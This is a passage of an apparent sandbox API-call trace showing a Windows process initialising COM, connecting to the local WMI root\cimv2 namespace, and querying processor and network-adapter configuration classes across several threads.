lpUsedDefaultChar=0x0) returned 14 [0268.832] GetProcAddress (hModule=0x6fed0000, lpProcName="PutInstanceWmi") returned 0x6fed7b10 [0268.837] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PutClassWmi", cchWideChar=11, lpMultiByteStr=0x558eaec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PutClassWmi", lpUsedDefaultChar=0x0) returned 11 [0268.838] GetProcAddress (hModule=0x6fed0000, lpProcName="PutClassWmi") returned 0x6fed7a30 [0268.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloneEnumWbemClassObject", cchWideChar=24, lpMultiByteStr=0x558eae0, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloneEnumWbemClassObject»müo\x12SÔÂDþ+qÈíX\x05", lpUsedDefaultChar=0x0) returned 24 [0268.864] GetProcAddress (hModule=0x6fed0000, lpProcName="CloneEnumWbemClassObject") returned 0x6fed6f50 [0268.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ConnectServerWmi", cchWideChar=16, lpMultiByteStr=0x558eae8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ConnectServerWmi»müo\x12SÔÂDþ+qÈíX\x05", lpUsedDefaultChar=0x0) returned 16 [0268.867] GetProcAddress (hModule=0x6fed0000, lpProcName="ConnectServerWmi") returned 0x6fed7050 [0268.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetErrorInfo", cchWideChar=12, lpMultiByteStr=0x558eaec, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetErrorInfo»müo\x12SÔÂDþ+qÈíX\x05", lpUsedDefaultChar=0x0) returned 12 [0268.871] GetProcAddress (hModule=0x6fed0000, lpProcName="GetErrorInfo") returned 0x6fed7650 [0268.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Initialize", cchWideChar=10, lpMultiByteStr=0x558eaf0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Initializeüo\x12SÔÂDþ+qÈíX\x05", lpUsedDefaultChar=0x0) returned 10 [0268.872] GetProcAddress (hModule=0x6fed0000, lpProcName="Initialize") returned 0x6fed7920 [0268.874] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x558eaa0 | out: phkResult=0x558eaa0*=0x320) returned 0x0 [0268.874] RegQueryValueExW (in: hKey=0x320, lpValueName="WMIDisableCOMSecurity", lpReserved=0x0, lpType=0x558eabc, lpData=0x0, lpcbData=0x558eab8*=0x0 | out: lpType=0x558eabc*=0x0, lpData=0x0, lpcbData=0x558eab8*=0x0) returned 0x2 [0268.874] RegCloseKey (hKey=0x320) returned 0x0 [0268.875] CoCreateInstance (in: rclsid=0x6fed3734*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x6fed3794*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x558f218 | out: ppv=0x558f218*=0x84ebb0) returned 0x0 [0268.875] WbemLocator:IWbemLocator:ConnectServer (in: This=0x84ebb0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x558f2b8 | out: ppNamespace=0x558f2b8*=0x86fa60) returned 0x0 [0268.898] WbemLocator:IUnknown:QueryInterface (in: This=0x86fa60, riid=0x6fed35b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x558f13c | out: ppvObject=0x558f13c*=0x8870bc) returned 0x0 [0268.898] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x8870bc, pProxy=0x86fa60, pAuthnSvc=0x558f18c, pAuthzSvc=0x558f188, pServerPrincName=0x558f180, pAuthnLevel=0x558f184, pImpLevel=0x558f174, pAuthInfo=0x558f178, pCapabilites=0x558f17c | out: pAuthnSvc=0x558f18c*=0xa, pAuthzSvc=0x558f188*=0x0, pServerPrincName=0x558f180, pAuthnLevel=0x558f184*=0x6, pImpLevel=0x558f174*=0x2, pAuthInfo=0x558f178, pCapabilites=0x558f17c*=0x1) returned 0x0 [0268.899] WbemLocator:IUnknown:Release (This=0x8870bc) returned 0x1 [0268.899] WbemLocator:IUnknown:QueryInterface (in: This=0x86fa60, riid=0x6fed35a4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x558f130 | out: ppvObject=0x558f130*=0x8870dc) returned 0x0 [0268.899] WbemLocator:IUnknown:QueryInterface (in: This=0x86fa60, riid=0x6fed35b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x558f11c | out: ppvObject=0x558f11c*=0x8870bc) returned 0x0 [0268.899] WbemLocator:IClientSecurity:SetBlanket (This=0x8870bc, pProxy=0x86fa60, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0268.899] WbemLocator:IUnknown:Release (This=0x8870bc) returned 0x2 [0268.899] WbemLocator:IUnknown:Release (This=0x8870dc) returned 0x1 [0268.899] CoTaskMemFree (pv=0x872068) [0268.899] WbemLocator:IUnknown:AddRef (This=0x86fa60) returned 0x2 [0268.899] WbemLocator:IUnknown:Release (This=0x84ebb0) returned 0x0 [0268.900] CoGetContextToken (in: pToken=0x558e670 | out: pToken=0x558e670) returned 0x0 [0268.900] CoGetContextToken (in: pToken=0x558ea84 | out: pToken=0x558ea84) returned 0x0 [0268.900] WbemLocator:IUnknown:QueryInterface (in: This=0x86fa60, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x558ea1c | out: ppvObject=0x558ea1c*=0x8870c4) returned 0x0 [0268.900] WbemLocator:IRpcOptions:Query (in: This=0x8870c4, pPrx=0x885870, dwProperty=2, pdwValue=0x558eb10 | out: pdwValue=0x558eb10) returned 0x80004002 [0268.900] WbemLocator:IUnknown:Release (This=0x8870c4) returned 0x2 [0268.900] CoGetContextToken (in: pToken=0x558f054 | out: pToken=0x558f054) returned 0x0 [0268.900] CoGetContextToken (in: pToken=0x558efb4 | out: pToken=0x558efb4) returned 0x0 [0268.900] WbemLocator:IUnknown:QueryInterface (in: This=0x86fa60, riid=0x558f084*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x558ef50 | out: ppvObject=0x558ef50*=0x86fa60) returned 0x0 [0268.901] WbemLocator:IUnknown:Release (This=0x86fa60) returned 0x2 [0268.905] SysStringLen (param_1=0x0) returned 0x0 [0268.907] CoUninitialize () Thread: id = 496 os_tid = 0x4e4 [0268.922] CoGetContextToken (in: pToken=0x567f648 | out: pToken=0x567f648) returned 0x0 [0268.922] CoGetContextToken (in: pToken=0x567f634 | out: pToken=0x567f634) returned 0x0 [0268.923] CoGetMarshalSizeMax (in: pulSize=0x567f5f0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x885870, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0 | out: pulSize=0x567f5f0) returned 0x0 [0268.924] CoMarshalInterface (pStm=0x8569d0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x885870, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0) returned 0x0 Thread: id = 497 os_tid = 0xea4 [0268.933] WbemLocator:IUnknown:QueryInterface (in: This=0x86fa60, riid=0x857db8*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x57aef90 | out: ppvObject=0x57aef90*=0x86fa60) returned 0x0 [0268.934] WbemLocator:IUnknown:QueryInterface (in: This=0x86fa60, riid=0x71ac62ec*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x57aef2c | out: ppvObject=0x57aef2c*=0x86fa60) returned 0x0 [0268.934] WbemLocator:IUnknown:QueryInterface (in: This=0x86fa60, riid=0x71ac62ec*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x57aeee4 | out: ppvObject=0x57aeee4*=0x86fa60) returned 0x0 [0268.938] IWbemServices:GetObject (in: This=0x86fa60, strObjectPath="win32_processor", lFlags=0, pCtx=0x0, ppObject=0x57af0b0*=0x0, ppCallResult=0x0 | out: ppObject=0x57af0b0*=0x89dc98, ppCallResult=0x0) returned 0x0 [0272.213] CoGetContextToken (in: pToken=0x57af0b0 | out: pToken=0x57af0b0) returned 0x0 [0272.213] CoGetContextToken (in: pToken=0x57af09c | out: pToken=0x57af09c) returned 0x0 [0272.214] CoGetMarshalSizeMax (in: pulSize=0x57af058, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x8a64f8, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0 | out: pulSize=0x57af058) returned 0x0 [0272.214] CoMarshalInterface (pStm=0x856a30, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x8a64f8, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0) returned 0x0 [0272.215] WbemLocator:IUnknown:QueryInterface (in: This=0x86fdd0, riid=0x857f98*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x57aef90 | out: ppvObject=0x57aef90*=0x86fdd0) returned 0x0 [0272.215] WbemLocator:IUnknown:QueryInterface (in: This=0x86fdd0, riid=0x71ac62ec*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x57aef2c | out: ppvObject=0x57aef2c*=0x86fdd0) returned 0x0 [0272.215] WbemLocator:IUnknown:QueryInterface (in: This=0x86fdd0, riid=0x71ac62ec*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x57aeee4 | out: ppvObject=0x57aeee4*=0x86fdd0) returned 0x0 [0272.216] IWbemServices:GetObject (in: This=0x86fdd0, strObjectPath="Win32_NetworkAdapterConfiguration", lFlags=0, pCtx=0x0, ppObject=0x57af0b0*=0x0, ppCallResult=0x0 | out: ppObject=0x57af0b0*=0x8b9918, ppCallResult=0x0) returned 0x0 Thread: id = 499 os_tid = 0xea0 [0271.525] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0271.526] CoGetClassObject (in: rclsid=0x871fb4*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5a1ee60 | out: ppv=0x5a1ee60*=0x899550) returned 0x0 [0271.527] WbemLocator:IUnknown:QueryInterface (in: This=0x899550, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5a1f078 | out: ppvObject=0x5a1f078*=0x0) returned 0x80004002 [0271.527] WbemLocator:IClassFactory:CreateInstance (in: This=0x899550, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5a1f084 | out: ppvObject=0x5a1f084*=0x881338) returned 0x0 [0271.527] WbemLocator:IUnknown:Release (This=0x899550) returned 0x0 [0271.527] WbemLocator:IUnknown:QueryInterface (in: This=0x881338, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5a1eca4 | out: ppvObject=0x5a1eca4*=0x881338) returned 0x0 [0271.527] WbemLocator:IUnknown:QueryInterface (in: This=0x881338, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5a1ec58 | out: ppvObject=0x5a1ec58*=0x0) returned 0x80004002 [0271.527] WbemLocator:IUnknown:AddRef (This=0x881338) returned 0x3 [0271.527] WbemLocator:IUnknown:QueryInterface (in: This=0x881338, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5a1e5b4 | out: ppvObject=0x5a1e5b4*=0x0) returned 0x80004002 [0271.527] WbemLocator:IUnknown:QueryInterface (in: This=0x881338, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5a1e564 | out: ppvObject=0x5a1e564*=0x0) returned 0x80004002 [0271.527] WbemLocator:IUnknown:QueryInterface (in: This=0x881338, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5a1e570 | out: ppvObject=0x5a1e570*=0x0) returned 0x80004002 [0271.527] CoGetContextToken (in: pToken=0x5a1e5d0 | out: pToken=0x5a1e5d0) returned 0x0 [0271.528] CoGetContextToken (in: pToken=0x5a1e9e4 | out: pToken=0x5a1e9e4) returned 0x0 [0271.528] WbemLocator:IUnknown:QueryInterface (in: This=0x881338, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5a1ea64 | out: ppvObject=0x5a1ea64*=0x0) returned 0x80004002 [0271.528] WbemLocator:IUnknown:Release (This=0x881338) returned 0x2 [0271.528] WbemLocator:IUnknown:Release (This=0x881338) returned 0x1 [0271.528] CoGetContextToken (in: pToken=0x5a1f05c | out: pToken=0x5a1f05c) returned 0x0 [0271.528] CoGetContextToken (in: pToken=0x5a1efbc | out: pToken=0x5a1efbc) returned 0x0 [0271.528] WbemLocator:IUnknown:QueryInterface (in: This=0x881338, riid=0x5a1f08c*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x5a1f088 | out: ppvObject=0x5a1f088*=0x881338) returned 0x0 [0271.529] WbemLocator:IUnknown:AddRef (This=0x881338) returned 0x3 [0271.529] WbemLocator:IUnknown:Release (This=0x881338) returned 0x2 [0271.529] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x84c310, puCount=0x5a1f21c | out: puCount=0x5a1f21c*=0x2) returned 0x0 [0271.529] WbemDefPath:IWbemPath:GetText (in: This=0x84c310, lFlags=8, puBuffLength=0x5a1f218*=0x0, pszText=0x0 | out: puBuffLength=0x5a1f218*=0xf, pszText=0x0) returned 0x0 [0271.529] WbemDefPath:IWbemPath:GetText (in: This=0x84c310, lFlags=8, puBuffLength=0x5a1f218*=0xf, pszText="00000000000000" | out: puBuffLength=0x5a1f218*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0271.529] CoCreateInstance (in: rclsid=0x6fed3734*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x6fed3794*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x5a1f0c8 | out: ppv=0x5a1f0c8*=0x881358) returned 0x0 [0271.529] WbemLocator:IWbemLocator:ConnectServer (in: This=0x881358, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x5a1f168 | out: ppNamespace=0x5a1f168*=0x86fdd0) returned 0x0 [0272.205] WbemLocator:IUnknown:QueryInterface (in: This=0x86fdd0, riid=0x6fed35b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5a1efec | out: ppvObject=0x5a1efec*=0x88756c) returned 0x0 [0272.205] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x88756c, pProxy=0x86fdd0, pAuthnSvc=0x5a1f03c, pAuthzSvc=0x5a1f038, pServerPrincName=0x5a1f030, pAuthnLevel=0x5a1f034, pImpLevel=0x5a1f024, pAuthInfo=0x5a1f028, pCapabilites=0x5a1f02c | out: pAuthnSvc=0x5a1f03c*=0xa, pAuthzSvc=0x5a1f038*=0x0, pServerPrincName=0x5a1f030, pAuthnLevel=0x5a1f034*=0x6, pImpLevel=0x5a1f024*=0x2, pAuthInfo=0x5a1f028, pCapabilites=0x5a1f02c*=0x1) returned 0x0 [0272.205] WbemLocator:IUnknown:Release (This=0x88756c) returned 0x1 [0272.205] WbemLocator:IUnknown:QueryInterface (in: This=0x86fdd0, riid=0x6fed35a4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5a1efe0 | out: ppvObject=0x5a1efe0*=0x88758c) returned 0x0 [0272.205] WbemLocator:IUnknown:QueryInterface (in: This=0x86fdd0, riid=0x6fed35b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5a1efcc | out: ppvObject=0x5a1efcc*=0x88756c) returned 0x0 [0272.206] WbemLocator:IClientSecurity:SetBlanket (This=0x88756c, pProxy=0x86fdd0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0272.206] WbemLocator:IUnknown:Release (This=0x88756c) returned 0x2 [0272.206] WbemLocator:IUnknown:Release (This=0x88758c) returned 0x1 [0272.206] CoTaskMemFree (pv=0x8722a8) [0272.206] WbemLocator:IUnknown:AddRef (This=0x86fdd0) returned 0x2 [0272.206] WbemLocator:IUnknown:Release (This=0x881358) returned 0x0 [0272.206] CoGetContextToken (in: pToken=0x5a1e520 | out: pToken=0x5a1e520) returned 0x0 [0272.206] CoGetContextToken (in: pToken=0x5a1e934 | out: pToken=0x5a1e934) returned 0x0 [0272.206] WbemLocator:IUnknown:QueryInterface (in: This=0x86fdd0, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5a1e8cc | out: ppvObject=0x5a1e8cc*=0x887574) returned 0x0 [0272.207] WbemLocator:IRpcOptions:Query (in: This=0x887574, pPrx=0x8a64f8, dwProperty=2, pdwValue=0x5a1e9c0 | out: pdwValue=0x5a1e9c0) returned 0x80004002 [0272.207] WbemLocator:IUnknown:Release (This=0x887574) returned 0x2 [0272.207] CoGetContextToken (in: pToken=0x5a1ef04 | out: pToken=0x5a1ef04) returned 0x0 [0272.207] CoGetContextToken (in: pToken=0x5a1ee64 | out: pToken=0x5a1ee64) returned 0x0 [0272.207] WbemLocator:IUnknown:QueryInterface (in: This=0x86fdd0, riid=0x5a1ef34*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x5a1ee00 | out: ppvObject=0x5a1ee00*=0x86fdd0) returned 0x0 [0272.207] WbemLocator:IUnknown:Release (This=0x86fdd0) returned 0x2 [0272.207] SysStringLen (param_1=0x0) returned 0x0 [0272.207] CoUninitialize () Thread: id = 500 os_tid = 0xe94 [0272.935] CoGetContextToken (in: pToken=0x548fc2c | out: pToken=0x548fc2c) returned 0x0 [0272.935] IUnknown:QueryInterface (in: This=0x81e148, riid=0x7135b24c*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x548fc50 | out: ppvObject=0x548fc50*=0x81e154) returned 0x0 [0272.936] IComThreadingInfo:GetCurrentThreadType (in: This=0x81e154, pThreadType=0x548fc7c | out: pThreadType=0x548fc7c*=0) returned 0x0 [0272.936] IUnknown:Release (This=0x81e154) returned 0x1 [0272.936] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 Thread: id = 501 os_tid = 0xe98 [0273.041] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0273.042] CoGetContextToken (in: pToken=0x59afb64 | out: pToken=0x59afb64) returned 0x0 [0273.042] IUnknown:QueryInterface (in: This=0x81e148, riid=0x7135b24c*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59afb88 | out: ppvObject=0x59afb88*=0x81e154) returned 0x0 [0273.043] IComThreadingInfo:GetCurrentThreadType (in: This=0x81e154, pThreadType=0x59afbb4 | out: pThreadType=0x59afbb4*=0) returned 0x0 [0273.043] IUnknown:Release (This=0x81e154) returned 0x1 [0273.043] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0273.043] CoUninitialize () Thread: id = 502 os_tid = 0xe9c